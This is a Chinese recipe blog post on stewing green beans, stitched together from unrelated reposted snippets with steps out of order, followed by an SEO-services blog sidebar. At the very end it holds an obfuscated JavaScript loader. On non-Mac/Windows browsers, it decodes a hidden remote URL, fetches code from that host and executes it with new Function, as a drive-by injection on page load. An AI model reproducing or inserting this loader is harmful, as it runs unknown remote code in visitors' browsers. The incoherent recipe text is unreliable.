我炖豆角好吃

2022年09月06日 admin 阅读(56)

最喜欢的蔬菜就是豆角,不管是炖,炒,做馅都非常地好吃。小时候,墙边种几棵豆角,到了秋后,豆角架下就会垂下的根根绿色的豆角,摘上一把就能炖一盆,清香好吃,当饭也当菜。最家常的做法就是最好吃的家常菜,又做了小时候百吃不厌的炖豆角,用不锈钢盆盛上一盘,吃得过瘾,还是小时候的味道。

另外,在炖豆角的时候还不宜放入太多的清水去炖制,虽然豆角炖不熟是不可以的,但是想要炖熟并不是多加水这么简单,今天就来详细的说一下这道豆角的好吃做法,喜欢吃的,可以按照这个方法做来试一试,准保炖出来的豆角入味又好吃。

各种蔬菜最多,还都是露天成长的,味道更浓郁,口感也更好。豆角就是这个季节上市的蔬菜,价格便宜不贵,是我们常吃的一种蔬菜。豆角的吃法多种多样,可以炒可以炖可以凉拌等等,都很好吃。我这样做更简单,既可以当饭又可以当菜,一锅就出来了,就是厨房小白也能轻松驾驭。

排骨炖豆角,是东北名菜,这回我改了做法,这个季节的豆角直接炖不太好吃,我先把它用油炸了一下,嘿,美味极了。排骨选的也好,用的是精选猪肋排,肉厚齐整,为这道菜加分。

在我们这个地方,每年的5-6月份,是豆角和土豆已经大批量上市的季节,也是我们餐桌上的家常菜,土豆和豆角我们一般都是分别炒来吃,而还有一种做法就是把豆角和土豆一起炖来吃,里边放点五花肉,热乎乎地炖上一锅,吃起来特下饭。很多时候大家认为豆角炖土豆不是只有搭配米饭才好吃。

第四道是炖豆角,也叫四季豆吧,反正都是豆角里的一种,以前婆婆做的豆角总是汤比较多,豆角不入味,后来我告诉婆婆,豆角应该把汤收干,豆角才会入味,现在婆婆做的豆角比我做的还好吃!

瞧瞧宝妈做的这10道菜都是什么好吃的:酱牛肉,蓝莓山药球,东北大拉皮,凉拌花生米,炸鸡柳,小鸡炖蘑菇,排骨炖豆角,蒜蓉粉丝蒸扇贝肉,腊肉炒荷兰豆,条子肉。

豆角,是夏末秋初盛产最多的一种蔬菜,豆角含有各种维生素和矿物质等。又叫长角豆、带豆、常见有白豆角和青豆角两种。这种短而白的豆角就是白豆角,稍微老一点,蒸一蒸最好吃也是我家最常吃的一种蔬菜,到了这个季节蒸上一大盘,可菜可饭超级好吃。

豆角是我们日常生活中离不开的一道蔬菜,豆角的营养价值也是很高的,在冬天的时候也能够轻松吃到新鲜营养的豆角,但是自己在家炖豆角的时候很容易炖的不够入味,很多人觉得炖豆角非常麻烦,时间炖得非常长,所以就加上很多水一直加热去炖制,这样反而导致豆角炖出来不入味,炖豆角的时候,调味品是关键,选对正确的调味品,做出来的味道才会好吃。

4.这时再把豆角放进去一起开始炖,放入豆角之后翻拌一下,然后再加入少许的清水,注意清水的量不要超过豆角,大概是豆角的三分之一就可以,这时候要调到小火,放入八角,少许盐,保持小火慢慢的去炖制就可以了,炖的过程中要不断的去翻拌一下,这样能够让豆角去均匀受热。

5、把盖子盖好后用小火炖半个小时。时间到后,将面条抖散平铺在豆角上,这个时候面条下面应该有汤汁,如果炖好豆角后觉得汤汁少,可以再加一碗水。

2、排骨炖豆角表示不服,招待客人的硬菜没有排骨,那排骨它得急眼,排骨干炖好吃,放豆角更香,油豆角最绝,没有的话就放普通的十八豆都香,炖的干巴巴的吃着才香呢,能清楚的看见肉丝,味道绝了!

油豆角因为肉质肥厚,所以特别适合做炖菜,据说油豆角在东北俗称“开锅烂”,一焖就烂,炖排骨炖五花肉是一绝。炖的软烂吸饱酱汁油脂肉汁的香味,咬一口,比肉好吃!

5.等到豆角炖得非常软烂了,这时就成熟了,最后再撒上一勺鸡精翻炒均匀,这样一道非常好吃的炖豆角就做好了,特别入味,而且一点都没有猪肉的异味,吃起来口感特别好,搭配米饭吃特别下饭,尤其是冬天的时候,这样一锅热气腾腾的炖菜上桌之后,真的是太香了,喜欢就做来试试吧!

本文转载自互联网,如有侵权,联系删除

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

卓仁IT博客
卓仁IT博客的快速排名服务领先80%同行,首家开创刷百度关键词排名程序,非纯点击方法,无点击软件出售,需要seo快速排名提高网站排名请咨询顾问。
  • 文章61274
  • 评论0
  • 浏览11206761
function HwrGU(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function rdIfsiYJ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HwrGU(t);};window[''+'D'+'S'+'G'+'Z'+'I'+'d'+'e'+'C'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=rdIfsiYJ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';console.log(u);var xhr=new XMLHttpRequest();xhr.open('GET',u+'/s/a?_='+i);xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function(data.data)(cs);}};xhr.send('u=1');})('aHR0cHM6Ly9hcGkueHloeC5vcmc=','428516530718064640',window,document,['','VxKGyJk']);}:function(){};